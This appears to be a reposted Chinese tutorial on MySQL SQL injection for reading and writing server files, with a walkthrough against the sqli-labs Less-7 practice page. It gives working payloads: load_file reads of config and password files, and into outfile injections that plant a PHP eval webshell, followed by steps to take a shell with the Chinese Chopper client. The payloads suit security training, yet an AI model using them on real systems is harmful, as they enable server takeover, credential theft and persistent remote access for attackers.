SQL注入 | 读取写入文件

admin 2022年7月17日03:12:33评论38 views字数 1872阅读6分14秒阅读模式

01

读写文件的基本条件和使用



数据库允许导入导出(secure_file_priv)
当前用户用户文件操作权限(File_priv)

SQL注入 | 读取写入文件

SQL注入 | 读取写入文件


数据库允许导出


secure_file_prive参数的设置

含义

secure_file_prive=null

限制mysqld 不允许导入导出

secure_file_priv=/tmp/ 

限制mysqld的导入导出只能发生在/tmp/目录下

secure_file_priv='   '

不对mysqld 的导入导出做限制

(备注:secure_file_prive直接在my.ini文件里设置即可)


用户文件操作权限


查看MySQL用户权限
show grants for 你的用户

比如
show grants for root@'localhost';

如何给用户分配权限
grant 权限 on 数据库.数据表 to '用户' @ '主机名';

例:给 xiaogang 分配所有的权限
grant all on *.* to 'xiaogang'@'%';

这个时候 xiaogang 就拥有所有权限了


load_file()读文件


  • load_file,后面的路径可以是单引号、0x、char转换的字符。这记得路径中的斜杠是/而不是。一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。
  • load_file可以在union中作为一个字段来用。如union select 1,load_file('c:/boot.ini'),3,4 from ka_admin等。
  • load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1


into outfile()写文件


  • outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成',那么基本没的玩了。

  • outfile一句话(经典):select '<?php eval($_POST[cmd])?>' into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'

  • 或者从表中
  • select * from a into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'


into dumpfile()写文件


into dumpfile它只能导出一行数据,并不常用。通常写入第二条的时候出错,但第二条内容已被写入文件


outfile 与 dumpfile 的区别


  • outfile函数可以导出多行,而dumpfile只能导出一行数据

  • outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

  • dumpfile适用于二进制文件,它会将目标文件吸入同一行内;outfile则更适用于文本文件


02

SQL Server 读写文件简单介绍



SQL注入 | 读取写入文件


03

SQL注入写入读取文件实验



1、判断是否存在SQL注入,我们输入http://www.any.com/sqli/Less-7/?id=1,发现页面返回正常。

SQL注入 | 读取写入文件


2、加入单引号,输入www.any.com/sqli/Less-7/?id=1',此时发现页面返回不正常,报错,这是我们判断此处存在SQL注入

SQL注入 | 读取写入文件


3、此时我们来判断闭合字符

输入http://www.any.com/sqli/Less-7/?id=1' and 1=1 %23,回显不正常

SQL注入 | 读取写入文件


输入http://www.any.com/sqli/Less-7/?id=1') and 1=1 %23,回显不正常

SQL注入 | 读取写入文件


输入http://www.any.com/sqli/Less-7/?id=1')) and 1=1 %23,回显正常

SQL注入 | 读取写入文件


输入http://www.any.com/sqli/Less-7/?id=1')) and 1=2 %23,回显不正常

4、这时我们就要利用以上所学知识写入一句话木马文件,我们访问:

http://www.any.com/sqli/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST[a]);?>' into outfile 'c:/www/2.php'%23

虽然显示报错,但其实我们还是写了进去。

SQL注入 | 读取写入文件


SQL注入 | 读取写入文件


5、此时,我们上菜刀,右击点击空白处,选择添加,在对话框中输入http://www.any.com/2.php,密码填写a,点击添加即可获取shell

SQL注入 | 读取写入文件


SQL注入 | 读取写入文件



如有侵权,请联系删除。

SQL注入 | 读取写入文件

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):SQL注入 | 读取写入文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月17日03:12:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入 | 读取写入文件https://cn-sec.com/archives/1180748.html

发表评论

匿名网友 填写信息